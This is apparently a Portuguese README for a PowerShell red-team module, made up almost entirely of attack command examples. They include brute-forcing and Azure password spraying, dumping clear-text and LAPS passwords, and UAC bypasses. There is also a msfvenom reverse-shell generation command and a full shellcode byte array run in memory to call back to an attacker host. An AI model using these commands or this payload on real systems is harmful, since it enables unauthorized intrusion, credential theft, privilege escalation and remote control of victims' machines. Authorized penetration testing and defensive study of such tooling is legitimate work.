
Coleção de funções PowerShell que um Red Teamer pode usar em um engajamento
Coleção de funções PowerShell que um Red Teamer pode usar para coletar dados de uma máquina ou obter acesso a um alvo. Adicionei arquivos ps1 para os comandos incluídos no módulo RedTeamEnum. Isso permitirá que você encontre e use facilmente apenas um comando, se for tudo o que deseja. Se quiser o módulo inteiro, execute as seguintes ações após baixar o diretório RedTeamEnum e seu conteúdo para o seu dispositivo.
C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# Isso copiará o módulo para um local que permite importá-lo facilmente. Se você estiver usando a sincronização do OneDrive, pode ser necessário usar $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum.
C:\PS> Import-Module -Name RedTeamEnum -Verbose
# Isso importará todos os comandos do módulo.
C:\PS> Get-Command -Module RedTeamEnum
# Isso listará todos os comandos do módulo.
C:\PS> Convert-Base64 -Value "Convert me to base64!" -Encode
C:\PS> Convert-Base64 -Value "Q29udmVydCBtZSB0byBiYXNlNjQh" -Decode
C:\PS> Convert-StringToHash -String "Convert me to base64!"
C:\PS> Convert-StringToHash -String "Password123" -Encoding UTF8 -Algorithm MD5
# Ambos os exemplos acima convertem a string Password123 para um valor hash MD5
C:\PS> Convert-SID -Username tobor
# O exemplo acima converte o valor SID de tobor
C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# O valor acima converte o valor SID para o nome de usuário associado
C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# Este exemplo usa as senhas no arquivo pass.txt para quebrar a senha do arquivo KiTTY.7z protegido
C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# Este exemplo testará a única senha definida contra os usuários admin e administrator no computador remoto DC01.domain.com usando WinRM sobre HTTPS com um intervalo de 5 minutos entre cada tentativa
C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt
# Este exemplo testará cada senha em rockyou.txt contra cada nome de usuário no arquivo users.txt sem pausa entre as tentativas
C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects -Domain domain.com -Credential (Get-Credential)
# O exemplo acima retorna todas as propriedades dos objetos retornados em domain.com
#
C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# Se executado como administrador, isso retornará a senha LAPS para a conta de administrador local
#
C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# NOTA: Se você incluir o switch "-Detailed" e canalizar a saída para Where-Object, ele não retornará nenhuma propriedade. Se desejar exibir todas as propriedades do seu resultado, isso precisará ser feito usando o formato abaixo
#
C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property *
C:\PS> Get-NetworkShareInfo -ShareName C$
# O exemplo acima retorna informações sobre o compartilhamento C$ na máquina local
#RESULTADOS
Name : C$
InstallDate :
Description : Default share
Path : C:\
ComputerName : TOBORDESKTOP
Status : OK
C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# O exemplo acima descobre e retorna informações sobre NETLOGON, SYSVOL e C$ nos 3 dispositivos remotos DC01, DC02 e 10.10.10.1
C:\PS> Test-PrivEsc
C:\PS> Get-InitialEnum
C:\PS> Start-SimpleHTTPServer
Abrir servidor HTTP na porta 8000
#OU
C:\PS> Start-SimpleHTTPServer -Port 80
# Abrir servidor HTTP na porta 80
C:\PS> Invoke-PortScan -IpAddress 192.168.0.1
C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# NOTA: O parâmetro Source só funciona se o valor de IP Source Routing for "Yes"
C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# O valor padrão para Count é 1
C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple
# O comando abaixo usará as credenciais inseridas para abrir o executável msf.exe como o usuário tobor
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose
Este cmdlet também pode ser usado para executar arquivos localizados em sua máquina local e executá-los em uma máquina remota
# O comando abaixo usará as credenciais inseridas para abrir o executável exploit.ps1 como o usuário tobor em DC01 e DC02 usando WinRM
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com"
# O comando abaixo usará as credenciais inseridas para abrir o executável exploit.ps1 como o usuário tobor em DC01 e DC02 usando WinRM sobre HTTPS
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\exploit.ps1 -ComputerName "DC01.domain.com","DC02.domain.com" -UseSSL
C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose
# OU
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose
# Gerar payload para usar
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell
Inicie um listener, use esse valor no parâmetro "ShellCode" e execute o comando para obter seu shell. Isso também exigirá que certas proteções de memória não estejam habilitadas. NOTA: Observe que NÃO HÁ ASPAS DUPLAS ao redor do valor da variável ShellCode. Isso ocorre porque é esperado um array de bytes.
C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword -All
O comando acima retorna todos os resultados possíveis que o cmdlet é capaz de fornecer. Locais individuais também podem ser pesquisados. Por exemplo
Get-ClearTextPassword -AutoLogon
Mais de um local pode ser definido em sua pesquisa Por exemplo
Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault
Invoke-AzureEnum.ps1 -Path 'C:\Temp\enum.txt'
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!'
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos com uma espera de 60 segundos antes da próxima tentativa de login
Invoke-AzurePasswordSpray -UserName "[email protected]","[email protected]" -Passwd 'Password123!','asdf123!' -SleepSeconds 60 -RoundRobin
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos com uma espera de 60 segundos antes da próxima tentativa de login. Isso realiza tentativas de autenticação de forma Round Robin para os nomes de usuário definidos
$UserNames = "[email protected]","[email protected]","[email protected]","[email protected]"
$UserNames | Invoke-AzurePasswordSpray -Passwd "Password123!" -RoundRobin
# Este exemplo testa as senhas definidas contra a lista de nomes de usuário definidos de forma Round Robin
Test-KerberosDoubleHop -All
# Este exemplo verifica e exibe Computadores, Usuários e Objetos AD de Administrador vulneráveis a um Kerberos Double Hop no controlador de domínio em que você está logado
Test-KerberosDoubleHop -Server DC01.domain.com -UserResults
# Este exemplo usa WinRM para exibir Objetos AD de Usuário vulneráveis a um Kerberos Double Hop no controlador de domínio remoto DC01.domain.com
Test-KerberosDoubleHop -Server DC01.domain.com -UseSSL -AdminResults
# Este exemplo usa WinRM sobre HTTPS para exibir Objetos AD de Administrador vulneráveis a um Kerberos Double Hop no controlador de domínio remoto DC01.domain.com
Test-KerberosDoubleHop -ComputerResults -AdminResults
# Este exemplo verifica e exibe Objetos AD de Computador e Administrador vulneráveis a um Kerberos Double Hop no controlador de domínio em que você está logado
Invoke-DccwUACBypass -Program "cmd /c start powershell"
# Este exemplo explora o método de bypass do UAC do DCCW para abrir o PowerShell com privilégios administrativos
Invoke-DccwUACBypass -Program "cmd /c start mfs.exe"
# Este exemplo explora o método de bypass do UAC do DCCW para executar o payload msf.exe com privilégios administrativos
Enable-RDP
Test-BruteLocalUserCredential -Username Administrator -Passwd 'Password123!','Passw0rd1!'
# Este exemplo testa as duas senhas definidas contra a conta de usuário Administrator
Test-BruteLocalUserCredential -Username Administrator -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este exemplo testa as senhas dentro do arquivo C:\Temp\passlist.txt contra a conta de usuário Administrator
$Users = (Get-LocalUser).Name
ForEach $U in $Users) {Test-BruteLocalUserCredential -Username $U -Passwd (Get-Content -Path C:\Temp\passlist.txt)}
# Este exemplo testa uma lista de senhas contra todas as contas de usuário locais
Test-FTPCredential -Server FTP.domian.com -Username ftpuser -Passwd 'Password123','Passw0rd1!','password123!' -Port 21 -Protocol FTP
# Este exemplo testa as 3 senhas definidas contra a conta ftpuser no servidor FTP localizado em FTP.domain.com na porta 21
Test-FTPCredential -Server FTP.domian.com -Username ftpuser,admin -Passwd 'Password123','Passw0rd1!','password123!' -Protocol FTPS -Seconds 60
# Este exemplo testa as 3 senhas definidas contra as contas admin e ftpuser no servidor FTP localizado em FTP.domain.com na porta 21, aguardando 60 segundos entre tentativas falhas
Test-FTPCredential -Server FTP.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este exemplo testa as senhas em C:\Temp\passlist.txt contra todos os usuários definidos no arquivo C:\Temp\userlist.txt contra o servidor FTP localizado em FTP.domain.com na porta 21, aguardando 1 segundo entre tentativas falhas
Test-SQLCredential -Server sql.domian.com -Username sa -Passwd 'Password123','Passw0rd1!','password123!' -Port 1433
# Este exemplo testa as 3 senhas definidas contra a conta sa no servidor SQL localizado em sql.domain.com na porta 1433
Test-SQLCredential -Server sql.domian.com -Username sa,admin -Passwd 'Password123','Passw0rd1!','password123!' -Seconds 60
# Este exemplo testa as 3 senhas definidas contra as contas admin e sa no servidor SQL localizado em sql.domain.com na porta 1433, aguardando 60 segundos entre tentativas falhas
Test-SQLCredential -Server sql.domian.com -Username (Get-Content -Path C:\Temp\userlist.txt) -Passwd (Get-Content -Path C:\Temp\passlist.txt)
# Este exemplo testa as senhas em C:\Temp\passlist.txt contra todos os usuários definidos no arquivo C:\Temp\userlist.txt contra o servidor SQL localizado em sql.domain.com na porta 1433, aguardando 1 segundo entre tentativas falhas
Para mais informações sobre Start-Listener, Start-Bind e Invoke-ReversePowerShell, veja https://github.com/tobor88/ReversePowerShell